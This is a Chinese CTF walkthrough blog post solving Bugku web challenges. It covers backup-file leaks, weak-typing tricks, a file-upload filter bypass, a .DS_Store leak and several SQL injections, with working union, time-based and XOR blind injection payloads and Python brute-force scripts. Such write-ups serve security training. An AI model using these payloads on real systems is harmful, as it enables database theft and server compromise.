https://ctf.bugku.com/challenges

备份是个好习惯

https://ctf.bugku.com/challenges#%E5%A4%87%E4%BB%BD%E6%98%AF%E4%B8%AA%E5%A5%BD%E4%B9%A0%E6%83%AF
http://123.206.87.240:8002/web16/
直接打开是一串md5
备份是个好习惯_1.png

上cmd5解密出来是[空密码]/[Empty String]没什么用
根据名字访问http://123.206.87.240:8002/web16/index.php.bak下载备份源码
取得源码如下:
备份是个好习惯_2.png

首先解释下几个函数的意思:

  • strstr(string,search,before_search) — 搜索字符串在另一字符串中的第一次出现。
参数描述
string必需。规定被搜索的字符串。
search必需。规定所搜索的字符串。如果此参数是数字,则搜索匹配此数字对应的 ASCII 值的字符。
before_search可选。默认值为 "false" 的布尔值。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。
  • parse_str(string,array) — 将字符串解析成多个变量(如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。)
参数描述
string必需。规定要解析的字符串。
array可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;

该代码的意思就是获得?后传参,然后把其中的key替换为空,再将其解析成key1和key2,最后再进行后面的判断。
所以可以构造如下payload:
http://123.206.87.240:8002/web16/index.php?kekeyy1=QNKCDZO&kekeyy2=s878926199a
取得flag:
备份是个好习惯_3.png

成绩单

https://ctf.bugku.com/challenges#%E6%88%90%E7%BB%A9%E5%8D%95
http://123.206.87.240:8002/chengjidan/index.php
查询数据库:
id=-1' union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata)--+
爆表:
id=-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=0x736b6374665f666c6167)--+
爆字段:
id=-1' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=0x736b6374665f666c6167 and table_name=0x666c3467)--+
查数据:
id=-1' union select 1,2,3,(select skctf_flag from fl4g)--+

秋名山老司机

https://ctf.bugku.com/challenges#%E7%A7%8B%E5%90%8D%E5%B1%B1%E8%80%81%E5%8F%B8%E6%9C%BA
http://123.206.87.240:8002/qiumingshan/
这就是叫你计算出value并post提交。
秋名山老司机.png

这是一道关于快速反弹POST请求的题。
相关资料可查看:详解 CTF Web 中的快速反弹 POST 请求

下面附上python代码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import re
session = requests.Session()
url = 'http://123.206.87.240:8002/qiumingshan/'
res = session.get(url)
print(re.search(r'(\d+[+\-*])+(\d)+', res.text).group())
result = eval(re.search(r'(\d+[+\-*])+(\d+)', res.text).group())
post = {"value": result}
print(session.post(url, data = post).text)

代码解释:利用Session()对象维持会话,然后正则匹配response的表达式,使用eval()计算出值,然后再post提交该值。

速度要快

https://ctf.bugku.com/challenges#%E9%80%9F%E5%BA%A6%E8%A6%81%E5%BF%AB
http://123.206.87.240:8002/web6/

这题就是在返回包里面有个flag字段,将得到的值用base64解码得到一串数字,然后post传上去就行了
又一道这种题,直接贴代码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import base64
session = requests.Session()
url = 'http://123.206.87.240:8002/web6/'
res = session.get(url)
post_encode = res.headers['flag']
post_decode = base64.b64decode(post_encode).decode('utf-8')
post = base64.b64decode(post_decode.split(':')[1]).decode('utf-8')
data = {'margin':post}
flag2 = session.post(url, data = data)
print(flag2.text)

never give up

https://ctf.bugku.com/challenges#never%20give%20%20up
http://123.206.87.240:8006/test/hello.php?id=1

访问后就一串英文,右键查看源码可看到一个1p.html
never_give_up_1.png

直接访问的话是跳转到了首页。
抓包拦截返回包可看到如下一串数据:
never_give_up_2.png

将Words变量那串值进行URL解码,再进行Base64解码,然后在进行一次URL解码,可得到下面的一串php代码:

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}


?>

要绕过上面语句限制获得f4l2a3g.txt的内容,需满足以下条件:

  • $id为非0非空
  • $a不能含有字符.
  • $data
  • $id弱等于0
  • $b的长度>5
  • 能从字符串1114中找到111与$b第一个字符拼接后的字符串
  • $b不能用4开头

这里利用的是eregi()函数的空字节截断进行绕过。即其正则在遇到空字符时会产生截断,舍弃掉后面的数据。(ereg()函数一样)

所以这里构造的b=%0011111
其他参数的绕过利用的PHP弱语言特性。
具体构造如下:
never_give_up_3.png

字符?正则?

https://ctf.bugku.com/challenges#%E5%AD%97%E7%AC%A6%EF%BC%9F%E6%AD%A3%E5%88%99%EF%BC%9F
http://123.206.87.240:8002/web10/

正则匹配代码如下:
bugku_re.png

[:punct:]匹配其中一个字符:`!"#$%&'()*+,-./:;<=>?@[\]^_{|}~.

由此上图的[[:punct:]]代表从中取一个
根据该正则,可构造如下payload:?id=keyssskeyssssskey:/s/sskeys=

求getshell

https://ctf.bugku.com/challenges#%E6%B1%82getshell
http://123.206.87.240:8002/web9/
一道文件上传的题:
求getshell.png

这道题检测了下面几个点:

  1. filename
  2. 请求头中的Content-Type字段
  3. 下面的文件Content-Type

绕过:

  1. .php5(php3,php4,php5,pht,phtml都不行)
  2. Content-Type的multipart/form-data进行大小写绕过
  3. 修改为:Content-Type: image/png

INSERT INTO注入

https://ctf.bugku.com/challenges#INSERT%20INTO%E6%B3%A8%E5%85%A5
http://123.206.87.240:8002/web15/
insert_into.png

一道XFF的insert注入
下面是题目给出的源码:

<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>

源码的$ip_arr = explode(',', $ip);return $ip_arr[0];这两句根据,$ip字符串划分为数组,最后返回该数组的第一个数据。其实就是相当于过滤了,
抓包添加X-Forwarded-For字段并插入payload:1' and sleep(5))#
页面响应5039毫秒,注入点存在:
insert_into_2.png

虽然过滤了,但是我们可以用下面语句进行判断:

select case when (条件) then 代码1 else 代码 2 end;

截取字符的substr()可以用from...for...代替:

select substr(database() from 1 for 2);

根据以上条件可以构造payload来查询当前数据库长度:1' and (case when(length(database())=5) then sleep(5) else 1 end))#
猜解database()字母:1' and (case when substr(database() from 1 for 1)='w' then sleep(5) else 1 end))#
后面的都差不多。贴上python代码:

import time
import requests
results = ''
def result(pos,str1):
    url = "http://123.206.87.240:8002/web15/"
    header = {
        "X-Forwarded-For":"11' and (case when (substr((select group_concat(flag) from flag) from " + str(pos) + " for 1 )='" + str1 + "') then sleep(3) else 1 end )) #"
    }
    t1 = time.time()
    res = requests.get(url, headers = header)
    t2 = time.time()
    t = t2 - t1
    if t > 3 :
        return True
    else:
        return False

for pos in range(1,33):
    print("pos:", pos)
    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
        if result(pos, str1):
            results += str1
            print(results)
            break
print(results)

后面试了下二分法。。感觉比这还慢。。

PHP_encrypt_1(ISCCCTF)

https://ctf.bugku.com/challenges#PHP_encrypt_1(ISCCCTF)

这题感觉好难。。先附上参考链接:bugkuctf PHP_encrypt_1(ISCCCTF)
该题源码:

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

题目就是根据这个加密算法,写出一个解密算法,解密密文:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
该代码流程是先计算出char字符串,然后再将data与它进行取模,最后返回base64编码的结果。

解密:

  1. 将密文先进行base64解码
  2. 计算出char字符串(char只进行模运算,所以与加密的流程一致)
  3. 求模逆运算

关于模逆运算:

  • 加密:(x + y) % 128 = z
  • 解密:((z - y) + 10) % 128 =x

所以此处:
加密为:str += chr((ord(data[i]) + ord(char[i])) % 128);
解密为:data += chr((ord(str1[i]) - ord(char[i]) + 128) % 128)

最后附上python代码:

import base64
import hashlib
def decrypt(encode_str):
    md5 = hashlib.md5()
    md5.update('ISCC'.encode('utf-8'))
    mkey = md5.hexdigest()  # 729623334f0aa2784a1599fd374c120d
    str1 = base64.b64decode(encode_str).decode('utf-8')
    x = 0
    lens = len(str1)
    klen = len(mkey)
    char = ''
    for i in range(0, lens):
        if x == klen:
            x = 0
        char += mkey[x]
        x += 1
    # 求模逆运算
    flag = ''
    for i in range(0, lens):
        result = ord(str1[i]) - ord(char[i])
        if result > 0:
            flag += chr(result % 128)
        else:
            flag += chr((result + 128) % 128)
    print(flag)

if __name__ == '__main__':
    encode_str = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
    decrypt(encode_str)

上面求模逆运算部分可直接写成:flag += chr((ord(str1[i]) - ord(char[i]) + 128) % 128)

flag.php

https://ctf.bugku.com/challenges#flag.php
http://123.206.87.240:8002/flagphp/
这题打开就一个登录表单,但是action并没写东西。然后找了半天也没找到该怎么做:
flag_php.png
根据提示hint,再看了下别人的wp后发现是把该值当参数传进去,然后获得下面的内容:
flag_php2.png

要想解开此题就要反序列化后的cooki等于KEY的值。但是这里的KEY的赋值再判断之后。所以判断处的KEY为NULL
所以直接echo serialize("");得到的值为s:0:""
然后抓到写入到cookie就行了:
flag_php3.png

sql注入2

https://ctf.bugku.com/challenges#sql%E6%B3%A8%E5%85%A52
http://123.206.87.240:8007/web2/index.php
fuzz了下,这题除了提示的!,!=,=,+,-,^,%这些字符没过滤外,其他的基本上都过滤了。。
看了下大佬的wp,似乎有好几种方法。下面列出两种:

方法1:.DS_Store泄露

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

nikto扫描存在安全隐患的文件nikto -host http://123.206.87.240:8007/web2/
nikto.png

扫出来一个漏洞:OSVDB-6694
利用脚本:ds_store_exp

这脚本是python2写的,直接运行会提示我们缺少模块

在kali下先安装pip然后安装ds_store

wget https://bootstrap.pypa.io/get-pip.py
python2 get-pip.py
pip install ds_store

命令:python2 ds_store_exp.py http://123.206.87.240:8007/web2/.DS_Store
最后扫描结果如下:
ds_store_exp.png

扫描出来的那个flag文件,下载打开就可以看到flag

方法2:SQL注入

根据错误提示确定存在的用户名:admin
在未过滤的字符当中存在^异或符号
所以可以构造类似payload:admin'^(1)^'

admin存在所以前面为1,1与后面的语句进行异或相异为1,相同为0

所以中间的语句为真时就会Response弹窗username error!!@_@

构造payload:admin'^(length(passwd)=32)^'确定passwd字段长度为32位,可能是32位加密的md5
sql2_1.png

附上python:

import requests
url = 'http://123.206.87.240:8007/web2/login.php'
cookie = {
    'PHPSESSID':'7hfu0pugb1kt0vqnaod14nfhv196qktl'
}
passwd = ''
for pos in range(1,33):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz':
        payload = "admin'^(ascii(substr((passwd)from("+str(pos)+")))="+str(ord(j))+")^'"
        data = {
            'uname': payload,
            'passwd': '123'
        }
        # print(payload)
        res = requests.post(url, cookies = cookie, data = data)
        if "username error!!@_@" in res.text:
            passwd +=j
            print(passwd)
            break

跑出来的字符串0192023a7bbd73250516f069df18b500上cmd5解密即可获得密码

参考文章:Bugku SQL注入2的思考

Last modification:March 30th, 2020 at 01:54 pm
如果觉得我的文章对你有用,请随意赞赏